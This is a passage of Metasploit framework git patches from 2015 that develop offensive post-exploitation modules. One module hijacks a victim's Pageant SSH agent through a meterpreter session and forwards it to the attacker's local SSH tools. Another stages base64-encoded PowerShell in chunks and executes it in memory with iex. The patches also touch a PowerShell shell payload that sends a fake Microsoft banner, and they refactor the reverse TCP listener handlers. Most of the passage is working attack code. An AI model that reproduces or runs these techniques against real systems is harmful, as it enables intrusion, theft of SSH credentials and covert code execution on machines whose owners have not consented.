Campbell', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -72,7 +73,7 @@ class Metasploit3 < Msf::Post loop do s = serv.accept loop do - socket_request_data = s.recvfrom(8192) + socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) From 3d466b7e6b0f9adb58d02e5509d9bb3736512767 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 14:51:08 +0100 Subject: [PATCH 0079/2172] Credit where credit is due, Ben has given a huge amount of support and guidance --- modules/post/windows/manage/forward_pageant.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 5ecf10df18..35d4181bda 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Stuart Morgan ', - 'Ben Campbell', + 'Ben Campbell', # A HUGE amount of support in this :-) ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] From 6a7943a662d20699103fdddeb68f983f59672787 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 15:13:15 +0100 Subject: [PATCH 0080/2172] Added check for UNIX sockets support --- modules/post/windows/manage/forward_pageant.rb | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 35d4181bda..d341c874ca 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -39,6 +39,15 @@ class Metasploit3 < Msf::Post end def run + + # Check to ensure that UNIX sockets are supported + begin + ::UNIXServer + rescue NameError + print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.") + return false + end + # Attempt to load the pageantjacker extension if it isn't already loaded. unless session.pageantjacker print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") @@ -65,7 +74,7 @@ class Metasploit3 < Msf::Post end # Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance. - ::UNIXServer.open(@sockpath) do|serv| + ::UNIXServer.open(@sockpath) do |serv| print_status("Launched listening socket on #{@sockpath}") print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") print_status("Now use any tool normally (e.g. ssh-add)") @@ -92,4 +101,5 @@ class Metasploit3 < Msf::Post # Remove the socket that we created, if it still exists ::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath end + end From b51330475688d10a3904a36999d2ad5c2c609b69 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 15:47:30 +0100 Subject: [PATCH 0081/2172] new changes --- data/exploits/powershell/powerfun.ps1 | 2 +- .../windows/manage/powershell/load_script.rb | 36 +++++++++++++++---- 2 files changed, 31 insertions(+), 7 deletions(-) diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index 6b0ffa61f0..4291c856fb 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..44444|%{0} + [byte[]]$bytes = 0..55555|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index d55292c030..366759d479 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -37,22 +37,46 @@ class Metasploit3 < Msf::Post end def run + # Get datastore values script_in = read_script(datastore['SCRIPT']) + folder_in = read_script(datastore['FOLDER']) # Convert expression to unicode unicode_expression = Rex::Text.to_unicode(script_in) # Base64 encode the unicode expression encoded_expression = Rex::Text.encode_base64(unicode_expression) + # If the encoded script size is > 50000 bytes, launch a stager + if (encoded_expression.size > 50000) + print_error("Compressed size: #{encoded_expression.size} This script requres a stager") + error_msg = "Compressed size may cause command to exceed " + arr = encoded_expression.chars.each_slice(50000).map(&:join) + vararray = [] - session.shell_command("$script = \"#{encoded_expression}\"") + for slice in arr + variable = Rex::Text.rand_text_alpha(8) + vararray << variable + session.shell_command("$#{variable} = \"#{slice}\"") + end + linkvars = '' + for var in vararray + linkvars = linkvars + " + $" + var + end + linkvars.slice!(0..2) + session.shell_command("$script = #{linkvars}") + print_good("Loaded " + vararray.count.to_s + " chunks into stager") + session.shell_command("$script") + else + print_good("Compressed size: #{encoded_expression.size}") + session.shell_command("$script = \"#{encoded_expression}\"") + end session.shell_command("$decscript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($script))") - session.shell_command("$scriptbtye = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") - session.shell_command("$scriptbtyebas = [System.Convert]::ToBase64String($scriptbtye) ") - session.shell_command("$scriptbtyebase = ([System.Convert]::FromBase64String($scriptbtyebas))") - session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbtyebase))|iex") + session.shell_command("$scriptby = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") + session.shell_command("$scriptbybase = [System.Convert]::ToBase64String($scriptby) ") + session.shell_command("$scriptbybasefull = ([System.Convert]::FromBase64String($scriptbybase))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbybasefull))|iex") print_good("Modules loaded") end -end +end From 763d960d2bd50de3c51ecebd0540e81a8f8d7a17 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 15:55:00 +0100 Subject: [PATCH 0082/2172] new --- modules/post/windows/manage/powershell/load_script.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index 366759d479..fe601c7610 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -47,15 +47,17 @@ class Metasploit3 < Msf::Post # Base64 encode the unicode expression encoded_expression = Rex::Text.encode_base64(unicode_expression) # If the encoded script size is > 50000 bytes, launch a stager - if (encoded_expression.size > 50000) + if (encoded_expression.size > 9999) print_error("Compressed size: #{encoded_expression.size} This script requres a stager") error_msg = "Compressed size may cause command to exceed " - arr = encoded_expression.chars.each_slice(50000).map(&:join) + arr = encoded_expression.chars.each_slice(9999).map(&:join) + print_good("Loaded " + arr.count.to_s + " chunks into stager") vararray = [] for slice in arr variable = Rex::Text.rand_text_alpha(8) vararray << variable + print_good("Loaded 1") session.shell_command("$#{variable} = \"#{slice}\"") end linkvars = '' @@ -64,8 +66,6 @@ class Metasploit3 < Msf::Post end linkvars.slice!(0..2) session.shell_command("$script = #{linkvars}") - print_good("Loaded " + vararray.count.to_s + " chunks into stager") - session.shell_command("$script") else print_good("Compressed size: #{encoded_expression.size}") session.shell_command("$script = \"#{encoded_expression}\"") From 8916ccf9e575d051af65daf0a13a42bd8151f3d0 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:00:49 +0100 Subject: [PATCH 0083/2172] new numbers --- modules/post/windows/manage/powershell/load_script.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index fe601c7610..c18e94f743 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -47,17 +47,17 @@ class Metasploit3 < Msf::Post # Base64 encode the unicode expression encoded_expression = Rex::Text.encode_base64(unicode_expression) # If the encoded script size is > 50000 bytes, launch a stager - if (encoded_expression.size > 9999) + if (encoded_expression.size > 14999) print_error("Compressed size: #{encoded_expression.size} This script requres a stager") error_msg = "Compressed size may cause command to exceed " - arr = encoded_expression.chars.each_slice(9999).map(&:join) + arr = encoded_expression.chars.each_slice(14999).map(&:join) print_good("Loaded " + arr.count.to_s + " chunks into stager") vararray = [] - for slice in arr + arr.each_with_index do |slice, index| variable = Rex::Text.rand_text_alpha(8) vararray << variable - print_good("Loaded 1") + print_good("Loaded #{index}") session.shell_command("$#{variable} = \"#{slice}\"") end linkvars = '' From 07986a1ed22966c2d33c23a4076305451ffd0b1e Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:06:44 +0100 Subject: [PATCH 0084/2172] Updated author --- .../post/windows/manage/powershell/load_script.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index c18e94f743..6f95d15178 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -22,16 +22,15 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['powershell'], - 'Author' => [ - 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script - 'RageLtMan' # post module + 'Author' => [ + 'Ben Turner benpturner[at]yahoo.com', + 'Dave Hardy davehardy20[at]gmail.com' ] )) register_options( [ OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), - OptPath.new( 'FOLDER', [true, 'Path to folder containing PS scripts', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), ], self.class) end @@ -46,10 +45,10 @@ class Metasploit3 < Msf::Post # Base64 encode the unicode expression encoded_expression = Rex::Text.encode_base64(unicode_expression) - # If the encoded script size is > 50000 bytes, launch a stager + + # If the encoded script size more than 15000 bytes, launch a stager if (encoded_expression.size > 14999) print_error("Compressed size: #{encoded_expression.size} This script requres a stager") - error_msg = "Compressed size may cause command to exceed " arr = encoded_expression.chars.each_slice(14999).map(&:join) print_good("Loaded " + arr.count.to_s + " chunks into stager") vararray = [] @@ -57,7 +56,8 @@ class Metasploit3 < Msf::Post arr.each_with_index do |slice, index| variable = Rex::Text.rand_text_alpha(8) vararray << variable - print_good("Loaded #{index}") + indexval = index+1 + print_good("Loaded stage:#{indexval}") session.shell_command("$#{variable} = \"#{slice}\"") end linkvars = '' From 93d6903272d705cbcae650db4aad9769932a3d49 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:08:43 +0100 Subject: [PATCH 0085/2172] New verbose --- modules/post/windows/manage/powershell/load_script.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index 6f95d15178..ac71337054 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => "Import Scripts into PowerShell Session", + 'Name' => "Load Scripts Into PowerShell Session", 'Description' => %q{ This module will download and execute a PowerShell script over a meterpreter session. The user may also enter text substitutions to be made in memory before execution. @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post variable = Rex::Text.rand_text_alpha(8) vararray << variable indexval = index+1 - print_good("Loaded stage:#{indexval}") + vprint_good("Loaded stage:#{indexval}") session.shell_command("$#{variable} = \"#{slice}\"") end linkvars = '' From 1a6404dc0828fe1d9edf61e106a27d1fb90becf1 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:09:30 +0100 Subject: [PATCH 0086/2172] Typo --- modules/post/windows/manage/powershell/load_script.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index ac71337054..80ece251e0 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post if (encoded_expression.size > 14999) print_error("Compressed size: #{encoded_expression.size} This script requres a stager") arr = encoded_expression.chars.each_slice(14999).map(&:join) - print_good("Loaded " + arr.count.to_s + " chunks into stager") + print_good("Loading " + arr.count.to_s + " chunks into the stager.") vararray = [] arr.each_with_index do |slice, index| From 4a808af40acc82065576341188e0b61861bb4e1c Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:17:11 +0100 Subject: [PATCH 0087/2172] Typo --- modules/post/windows/manage/powershell/load_script.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index 80ece251e0..a5a4041c4e 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -15,9 +15,8 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => "Load Scripts Into PowerShell Session", 'Description' => %q{ - This module will download and execute a PowerShell script over a meterpreter session. - The user may also enter text substitutions to be made in memory before execution. - Setting VERBOSE to true will output both the script prior to execution and the results. + This module will download and execute a PowerShell script over a present powershell session. + Setting VERBOSE to true will show the stager results. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], @@ -38,7 +37,6 @@ class Metasploit3 < Msf::Post def run # Get datastore values script_in = read_script(datastore['SCRIPT']) - folder_in = read_script(datastore['FOLDER']) # Convert expression to unicode unicode_expression = Rex::Text.to_unicode(script_in) @@ -70,12 +68,13 @@ class Metasploit3 < Msf::Post print_good("Compressed size: #{encoded_expression.size}") session.shell_command("$script = \"#{encoded_expression}\"") end + session.shell_command("$decscript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($script))") session.shell_command("$scriptby = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") session.shell_command("$scriptbybase = [System.Convert]::ToBase64String($scriptby) ") session.shell_command("$scriptbybasefull = ([System.Convert]::FromBase64String($scriptbybase))") session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbybasefull))|iex") - print_good("Modules loaded") + print_good("Module loaded") end From c0b995cc97f8392d1e174306890c5d515e158963 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:18:06 +0100 Subject: [PATCH 0088/2172] new changes --- data/exploits/powershell/powerfun.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index 4291c856fb..8792bb2abc 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..55555|%{0} + [byte[]]$bytes = 0..20000|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) From 514e382d3b752a37beff9afc764ae3ccf6766843 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 16:20:32 +0100 Subject: [PATCH 0089/2172] Remove require --- modules/post/windows/manage/powershell/load_script.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index a5a4041c4e..6c38dddb32 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'zlib' # TODO: check if this can be done with REX - require 'msf/core' require 'rex' From 6e682e2da39e6e86712534e4f3bb7adfa6869887 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 17:59:34 +0100 Subject: [PATCH 0090/2172] Sometimes the SSH tools seem to do something strange with sockets, so just cope with tihs --- modules/post/windows/manage/forward_pageant.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index d341c874ca..c013245e34 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -87,7 +87,11 @@ class Metasploit3 < Msf::Post vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) if response[:success] - s.send response[:blob], 0 + begin + s.send response[:blob], 0 + rescue + break + end vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')") else print_error("PageantJacker: Unsuccessful response received (#{response[:error]})") From 9bc5cdd4235f9049f560e7872d0a7fd3e1bbc0ca Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 20 May 2015 00:24:09 +0100 Subject: [PATCH 0091/2172] Refactor to common mixin Remove the datastore option from HTTP as currently does nothing. --- lib/msf/core/handler/reverse_http.rb | 2 +- lib/msf/core/handler/reverse_tcp.rb | 16 ++++----- lib/msf/core/handler/reverse_tcp_comm.rb | 43 ++++++++++++++++++++++++ lib/msf/core/handler/reverse_tcp_ssl.rb | 11 ++---- 4 files changed, 53 insertions(+), 19 deletions(-) create mode 100644 lib/msf/core/handler/reverse_tcp_comm.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d442d6727d..6a7a8918cc 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -50,7 +50,7 @@ module ReverseHttp register_advanced_options( [ - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), +# OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 80829d264f..c426a92040 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -2,6 +2,8 @@ require 'rex/socket' require 'thread' +require 'msf/core/handler/reverse_tcp_comm' + module Msf module Handler @@ -18,7 +20,7 @@ module Handler module ReverseTcp include Msf::Handler - + include Msf::Handler::ReverseTcpComm # # Returns the string representation of the handler type, in this case # 'reverse_tcp'. @@ -54,7 +56,6 @@ module ReverseTcp OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) ], Msf::Handler::ReverseTcp) @@ -74,14 +75,9 @@ module ReverseTcp ex = false - comm = case datastore['ReverseListenerComm'].to_s - when "local"; ::Rex::Socket::Comm::Local - when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] - else; nil - end - unless comm.is_a? ::Rex::Socket::Comm - comm = nil - end + # Identify the comm to use from + # Msf::Handler::ReverseTcpComm.select_comm + comm = select_comm local_port = bind_port addrs = bind_address diff --git a/lib/msf/core/handler/reverse_tcp_comm.rb b/lib/msf/core/handler/reverse_tcp_comm.rb new file mode 100644 index 0000000000..91e453de31 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_comm.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- +require 'rex/socket' + +module Msf +module Handler + +### +# +# This module implements the reverse Rex::Socket::Comm handlng. +# +### +module ReverseTcpComm + + def initialize(info = {}) + super + + register_advanced_options( + [ + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + ], Msf::Handler::ReverseTcpComm) + + self.conn_threads = [] + end + + def select_comm + rl_comm = datastore['ReverseListenerComm'].to_s + case rl_comm + when 'local' + comm = ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/ + comm = framework.sessions[rl_comm.to_i] + raise(RuntimeError, "Reverse Listener Comm (Session #{rl_comm}) does not exist") unless comm + raise(RuntimeError, "Reverse Listener Comm (Session #{rl_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm + else + comm = nil + end + + comm + end +end + +end +end diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 25e358f3f7..7863a8a063 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -61,14 +61,9 @@ module ReverseTcpSsl ex = false - comm = case datastore['ReverseListenerComm'].to_s - when "local"; ::Rex::Socket::Comm::Local - when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] - else; nil - end - unless comm.is_a? ::Rex::Socket::Comm - comm = nil - end + # Identify the comm to use from + # Msf::Handler::ReverseTcpComm.select_comm + comm = select_comm local_port = bind_port addrs = bind_address From cadbd603bd8d18e5366c85df6b362e31702cc410 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 20 May 2015 00:33:04 +0100 Subject: [PATCH 0092/2172] Remove erroneous line --- lib/msf/core/handler/reverse_tcp.rb | 1 + lib/msf/core/handler/reverse_tcp_comm.rb | 2 -- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index c426a92040..0c2ec9013c 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -21,6 +21,7 @@ module ReverseTcp include Msf::Handler include Msf::Handler::ReverseTcpComm + # # Returns the string representation of the handler type, in this case # 'reverse_tcp'. diff --git a/lib/msf/core/handler/reverse_tcp_comm.rb b/lib/msf/core/handler/reverse_tcp_comm.rb index 91e453de31..be475514a4 100644 --- a/lib/msf/core/handler/reverse_tcp_comm.rb +++ b/lib/msf/core/handler/reverse_tcp_comm.rb @@ -18,8 +18,6 @@ module ReverseTcpComm [ OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), ], Msf::Handler::ReverseTcpComm) - - self.conn_threads = [] end def select_comm From cdea522c3e4d2d644fbdea6456aeefa3b2aa38df Mon Sep 17 00:00:00 2001 From: benpturner Date: Wed, 20 May 2015 10:34:54 +0100 Subject: [PATCH 0093/2172] Use the Rex::Powershell::Command function to encode the stream --- modules/post/windows/manage/powershell/load_script.rb | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index 6c38dddb32..d3238cb964 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -33,14 +33,8 @@ class Metasploit3 < Msf::Post end def run - # Get datastore values - script_in = read_script(datastore['SCRIPT']) - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(script_in) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) + # Get datastore values and encode the file + encoded_expression = Rex::Powershell::Command.encode_script(read_script(datastore['SCRIPT'])) # If the encoded script size more than 15000 bytes, launch a stager if (encoded_expression.size > 14999) @@ -48,7 +42,6 @@ class Metasploit3 < Msf::Post arr = encoded_expression.chars.each_slice(14999).map(&:join) print_good("Loading " + arr.count.to_s + " chunks into the stager.") vararray = [] - arr.each_with_index do |slice, index| variable = Rex::Text.rand_text_alpha(8) vararray << variable From 27e12754fee7698031ce6840a09e648787e7fd16 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Wed, 20 May 2015 18:09:28 -0400 Subject: [PATCH 0094/2172] Import Powershell libraries and sample post module Sync critical functionality from Rex and Msf namespaces dealing with encoding and processing of powershell script for exploit or post namespaces. Import Post module. Primarily adds a psh_exec method which will be replaced in the next PR with @benpturner's work integrated into the Post module namespace. Provide a sample metasploit windows post module to show the execution pipeline - entire subs process can be removed and the module reduced to a psh_exec(datastore['SCRIPT']). This commit is designed to provide sync between the SVIT fork and upstream. Pending commits to be based on this work will provide access to .NET compiler in the Post namespace to be used for dynamic persistent payload creation on target and the import of @benpturner's work. --- lib/msf/core/exploit/powershell.rb | 36 +- lib/msf/core/post/windows/powershell.rb | 310 +++++++++++------- lib/rex/powershell.rb | 2 +- lib/rex/powershell/command.rb | 4 +- lib/rex/powershell/output.rb | 14 +- .../post/windows/manage/exec_powershell.rb | 62 ++++ 6 files changed, 293 insertions(+), 135 deletions(-) create mode 100644 modules/post/windows/manage/exec_powershell.rb diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 0dc1fa02fb..89d99fb00e 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -17,6 +17,38 @@ module Exploit::Powershell ], self.class) end + # + # Return a script from path or string + # + def read_script(script_path) + return Rex::Powershell::Script.new(script_path) + end + + # + # Return an array of substitutions for use in make_subs + # + def process_subs(subs) + return [] if subs.nil? or subs.empty? + new_subs = [] + subs.split(';').each do |set| + new_subs << set.split(',', 2) + end + + new_subs + end + + # + # Insert substitutions into the powershell script + # If script is a path to a file then read the file + # otherwise treat it as the contents of a file + # + def make_subs(script, subs) + subs.each do |set| + script.gsub!(set[0],set[1]) + end + + script + end # # Return an encoded powershell script # Will invoke PSH modifiers as enabled @@ -24,14 +56,14 @@ module Exploit::Powershell # @param script_in [String] Script contents # # @return [String] Encoded script - def encode_script(script_in) + def encode_script(script_in, eof = nil) opts = {} datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end - Rex::Powershell::Command.encode_script(script_in, opts) + Rex::Powershell::Command.encode_script(script_in, eof, opts) end # diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index b77da4a5e3..dd5387c685 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -require 'zlib' +require 'msf/core/exploit/powershell' require 'msf/core/post/common' module Msf @@ -7,13 +7,19 @@ class Post module Windows module Powershell + include ::Msf::Exploit::Powershell include ::Msf::Post::Common - - # List of running processes, open channels, and env variables... - - - # Suffix for environment variables + def initialize(info = {}) + super + register_advanced_options( + [ + OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]), + OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]), + OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]), + OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]), + ], self.class) + end # # Returns true if powershell is installed @@ -25,118 +31,65 @@ module Powershell end # - # Insert substitutions into the powershell script + # Get/compare list of current PS processes - nested execution can spawn many children + # doing checks before and after execution allows us to kill more children... + # This is a hack, better solutions are welcome since this could kill user + # spawned powershell windows created between comparisons. # - def make_subs(script, subs) - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end + def get_ps_pids(pids = []) + current_pids = session.sys.process.get_processes.keep_if {|p| + p['name'].downcase == 'powershell.exe' + }.map {|p| p['pid']} + # Subtract previously known pids + current_pids = (current_pids - pids).uniq + return current_pids end # - # Return an array of substitutions for use in make_subs + # Execute a powershell script and return the output, channels, and pids. The script + # is never written to disk. # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - return new_subs - end - - # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script - # - def compress_script(script_in, eof = nil) - - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression += "$stream.ReadByte()|Out-Null;" - psh_expression += "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression += "$(New-Object 